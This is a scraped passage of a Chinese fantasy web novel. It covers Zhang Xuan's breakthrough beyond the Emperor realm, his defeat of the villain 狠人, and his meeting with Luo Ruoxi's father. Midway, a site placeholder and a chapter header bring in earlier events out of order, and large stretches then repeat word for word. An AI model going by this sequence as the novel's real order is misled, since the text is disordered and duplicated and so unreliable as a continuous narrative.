孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第17章 烟火 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 